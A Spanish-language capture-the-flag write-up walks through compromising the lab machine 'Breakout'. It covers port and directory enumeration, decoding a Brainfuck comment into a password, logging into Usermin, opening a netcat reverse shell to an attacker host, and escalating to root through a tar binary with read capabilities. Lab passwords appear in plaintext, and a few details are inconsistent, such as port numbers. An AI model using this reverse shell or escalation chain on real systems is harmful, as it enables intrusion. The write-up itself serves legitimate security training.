**Informe de CTF: Máquina "Breakout"**

**Resumen:**

En este informe, se detallan los pasos y resultados obtenidos durante el proceso de compromiso de la máquina "Breakout" en el marco del desafío de Capture The Flag (CTF). El objetivo del CTF era obtener acceso a la máquina y obtener privilegios root para obtener control total del sistema. A continuación, se presentan los principales hallazgos y acciones realizadas.

1. **Escaneo de Puertos:**

Se utilizó la herramienta Nmap para escanear los puertos abiertos en la máquina "Breakout". Los resultados fueron los siguientes:

* Puerto 80/tcp: Abierto y ejecutando el servicio HTTP (Apache httpd 2.4.51 en Debian).
* Puerto 139/tcp: Abierto y ejecutando el servicio NetBIOS-SSN (Samba smbd 4.6.2).
* Puerto 445/tcp: Abierto y ejecutando el servicio NetBIOS-SSN (Samba smbd 4.6.2).
* Puerto 20000/tcp: Abierto y ejecutando el servicio HTTP (MiniServ 1.830 - Webmin httpd).

Estos resultados proporcionaron información inicial sobre los servicios en ejecución en la máquina "Breakout" y se convirtieron en puntos de enfoque para el análisis posterior.

***Comandos:***

* ***nmap -sS -sV <IP>***

1. **Enumeración con Gobuster:**

Se utilizó la herramienta Gobuster para enumerar rutas y archivos en el servidor web en el puerto 20000. Los resultados fueron los siguientes:

* /index.html: Accesible (código de estado 200).
* /.html: Prohibido (código de estado 403).
* /manual: Redireccionado (código de estado 301) a http://192.168.2.101/manual/.
* /server-status: Prohibido (código de estado 403).

Estos resultados proporcionaron información sobre las rutas y archivos disponibles en el servidor web, lo cual fue útil para comprender la estructura y configuración del mismo.

***Comandos:***

* ***gobuster dir -u http:// <IP>/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt***

1. **Exploracion de Codigo Fuente Pagina Principal /index.html**

Encontramos un mensaje debajo de la pagina la cual parece que el contenido está cifrado con un mensaje en Brainfuck. Hemos decodificado el mensaje utilizando una herramienta de decodificación de Brainfuck y obtuvimos el siguiente resultado: .2uqPEfj3D<P'a-3.

***<!--***

***don't worry no one will get here, it's safe to share with you my access. Its encrypted :)***

***++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.>>+++++++++++++++++.----.<++++++++++.-----------.>-----------.++++.<<+.>-.--------.++++++++++++++++++++.<------------.>>---------.<<++++++.++++++.***

***-->***

Este resultado parece ser una cadena cifrada o un fragmento de información relevante para avanzar en el desafío. Sería útil analizar más a fondo el contexto y buscar pistas adicionales para descifrarlo o utilizarlo de manera efectiva.

1. **Enumeración de Usuarios:**

Se utilizó la herramienta enum4linux para enumerar usuarios y grupos en la máquina "Breakout". Los resultados fueron los siguientes:

* Usuarios encontrados utilizando el SID S-1-22-1: Unix User\cyber (Usuario Local).
* Usuarios encontrados utilizando el SID S-1-5-32: BUILTIN\Administrators (Grupo Local), BUILTIN\Users (Grupo Local), BUILTIN\Guests (Grupo Local), BUILTIN\Power Users (Grupo Local), BUILTIN\Account Operators (Grupo Local), BUILTIN\Server Operators (Grupo Local), BUILTIN\Print Operators (Grupo Local).

Estos resultados proporcionaron información sobre los usuarios y grupos presentes en la máquina, y el usuario "cyber" se destacó como un objetivo potencial para obtener acceso

***Comandos:***

* ***enum4linux -a 192.168.20.32***

1. **Verificacion del Puerto 2000 y Acceso a la Plataforma:**

Has verificado la página en el puerto 20000 y has encontrado un formulario de inicio de sesión de Usermin.

Usermin es una interfaz web basada en Unix para la administración de sistemas y servicios. Al encontrar un formulario de inicio de sesión de Usermin, esto indica que hay una instancia de Usermin en ejecución en la máquina "Breakout" en el puerto 20000.

El formulario de inicio de sesión de Usermin puede ser una posible vía para obtener acceso a la máquina.

Se utilizó el formulario de inicio de sesión de Usermin con las credenciales "cyber:.2uqPEfj3D<P'a-3". Esto permitió acceder a una zona de administración dentro de Usermin.

1. **Acceso a la Maquina Breakout:**

Dentro de la zona de administración, se descubrió un icono de terminal que proporcionaba acceso a la terminal de la máquina "Breakout" con el usuario "cyber". Esto permitió obtener mayor control y capacidad para ejecutar comandos en la máquina objetivo.

Se verificó la presencia de la herramienta "nc" en la máquina utilizando el comando "which". Posteriormente, se buscó una reverse shell en el sitio web "https://www.revshells.com/" y se seleccionó una reverse shell utilizando el comando "nc 192.168.2.102 443 -e /bin/bash". Esto permitió establecer una conexión de reverse shell y obtener un mayor control sobre la máquina "Breakout".

***Comandos:***

* ***which nc***
* ***nc <IP> 443 -e /bin/bash***
* ***nc -lvp 443***

***Tratamiento Shell***

* **python3 -c 'import pty; pty.spawn("/bin/bash")'**
* **control z**
* **stty raw -echo; fg**
* **reset xterm**
* **export TERM=xterm**
* **export SHELL=bash**
* **stty rows 28 columns 148**

1. **Elevación de Privilegios Root**

Utilizamos el comando "getcap -r / 2>/dev/null" en Kali Linux para obtener los atributos de capacidad de los archivos y directorios en el sistema de archivos. El resultado mostró los siguientes archivos con atributos de capacidad:

* /home/cyber/tar cap\_dac\_read\_search=ep
* /usr/bin/ping cap\_net\_raw=ep

Luego, navegaste al directorio /var/backups y utilizaste el comando "ls -la" para enumerar los archivos ocultos. Encontraste un archivo oculto llamado ".old\_pass.bak" que parecía contener una posible contraseña para la elevación de privilegios.

Para acceder al contenido del archivo .old\_pass.bak, utilizaste el comando "./tar -cf contraseña.tar /var/backups/.old\_pass.bak". Este comando creó un archivo comprimido llamado "contraseña.tar" que contenía el archivo "/var/backups/.old\_pass.bak".

Luego, extrajiste el contenido del archivo contraseña.tar utilizando el comando "tar -xf contraseña.tar". Esto permitió obtener la carpeta extraída que contenía el archivo .old\_pass.bak.

Para leer el contenido del archivo .old\_pass.bak, utilizaste el comando "cat" seguido del nombre del archivo. El resultado reveló la contraseña: Ts&4&YurgtRX(=~h.

Utilizaste el comando "su root" para cambiar al usuario root y proporcionaste la contraseña encontrada. Esto te permitió obtener los privilegios de root en la máquina "Breakout".

Con estos pasos, has logrado obtener y utilizar la contraseña encontrada para elevar tus privilegios a root en la máquina. Felicitaciones por tu éxito en el CTF.

Por el cual usamos el comando su root y utilizamos el password encontrado y obtenemos los privilegios root

***Comandos:***

* ***getcap -r / 2>/dev/null***
* ***ls -la***
* ***./tar -cf contraseña.tar /var/backups/.old\_pass.bak***
* ***tar -xf contraseña.tar***
* ***su root***

**Conclusión:**

En este desafío de CTF, se logró obtener acceso a la máquina "Breakout" y elevar los privilegios a root. Se utilizaron diversas técnicas, incluyendo la enumeración de puertos, la exploración de rutas con Gobuster, la enumeración de usuarios con enum4linux, el acceso a Usermin y la terminal, la obtención de una reverse shell y la elevación de privilegios mediante la contraseña encontrada en el archivo ".old\_pass.bak". Estos pasos permitieron obtener control total sobre la máquina y cumplir con el objetivo del desafío.

**Recomendaciones:**

* Mantener una buena documentación de todos los pasos y resultados obtenidos durante el proceso de compromiso.
* Realizar un análisis exhaustivo de vulnerabilidades y configuraciones inseguras en los servicios identificados durante el escaneo de puertos.
* Considerar la aplicación de parches y actualizaciones en la máquina objetivo para evitar vulnerabilidades conocidas.